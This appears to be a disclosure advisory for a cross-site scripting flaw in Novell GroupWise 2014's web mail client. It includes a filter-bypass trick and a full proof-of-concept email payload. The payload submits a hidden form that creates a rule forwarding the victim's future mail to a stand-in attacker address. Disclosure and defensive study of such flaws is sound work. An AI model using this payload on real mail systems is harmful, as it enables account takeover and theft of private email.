~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
Novell GroupWise 2014 is an email web client which also features an
address book, a calendar and a task management tool.
The vendor Novell describes the product as follows (see [1]):
"GroupWise 2014 gives employees robust email, calendaring, task management
and contact management tools wherever they wander. The same goes for admins,
who get streamlined, web-based administration and more to let them monitor,
manage and make things happen on the go."
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
Novell GroupWise 2014 is vulnerable to Cross Site Scripting attacks. In
combination, these vulnerabilities enable an attacker to perform various
actions in the context of the victim's session. Sending a specially crafted
email to the victim leads to JavaScript code being executed upon opening.
This code can then send emails in the victim's name, create a rule to
forward all future incoming emails to an email address chosen by the
attacker, or possibly even forward existing emails in the victim's mailbox.
In particular, the filter that is supposed to remove malicious code can be
bypassed by appending an invalid attribute to the actual attribute of an
HTML tag without using a separating space like this:
<body o=''onload=alert('XSS')>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The following command sends an email to a victim that will, when opened,
create a new rule to forward all future emails addressed to the victim to
evil@...acker.invalid.
mutt -e "set content_type=text/html" victim@...upwise-webapp.com -s "Re: Pentest" < payload.html
The content of the file payload.html is:
<html>
<body o=''onload="document.getElementById('usercontext').setAttribute('value',window.location.pathname.split('/')[3]);var f=document.createElement('iframe');f.style='display:none';f.name='csrf-frame';document.body.appendChild(f);alert('Creating forwarding rule...');document.getElementById('Form').submit()">
Lorem ipsum dolor
<form id="Form" action="https://vulnerable.groupwise-webapp.com/gw/webacc" method="POST" target="csrf-frame">
<input id="usercontext" type="hidden" name="User.context" value="" />
<input type="hidden" name="action" value="Rule.Create" />
<input type="hidden" name="Rule.type" value="Forward" />
<input type="hidden" name="Compose.id" value="" />
<input type="hidden" name="merge" value="ruleadd" />
<input type="hidden" name="error" value="ruleadd" />
<input type="hidden" name="Url.Rule.Action" value="1" />
<input type="hidden" name="Rule.name" value="newautomatedrule" />
<input type="hidden" name="RuleConditionfield" value="To" />
<input type="hidden" name="RuleConditioncondition" value="Contains" />
<input type="hidden" name="RuleConditiontext" value="Forward" />
<input type="hidden" name="Item.toName" value="evil@attacker.invalid" />
<input type="hidden" name="Item.to" value="evil@attacker.invalid" />
<input type="hidden" name="Item.ccName" value="" />
<input type="hidden" name="Item.cc" value="" />
<input type="hidden" name="Item.bcName" value="" />
<input type="hidden" name="Item.bc" value="" />
<input type="hidden" name="Item.subject" value="" />
<input type="hidden" name="Rule.subjectPrefix" value="Fwd:" />
<input type="hidden" name="Item.message" value="" />
<input type="hidden" name="Rule.Create" value="" />
</form>
</body>
</html>
The number of the array element (here: 3) may be dependent on the particular
installation and configuration of GroupWise. It refers to the part in the
URL which represents the "User.context", a parameter resembling an anti-CSRF
token which is transmitted as a GET parameter.
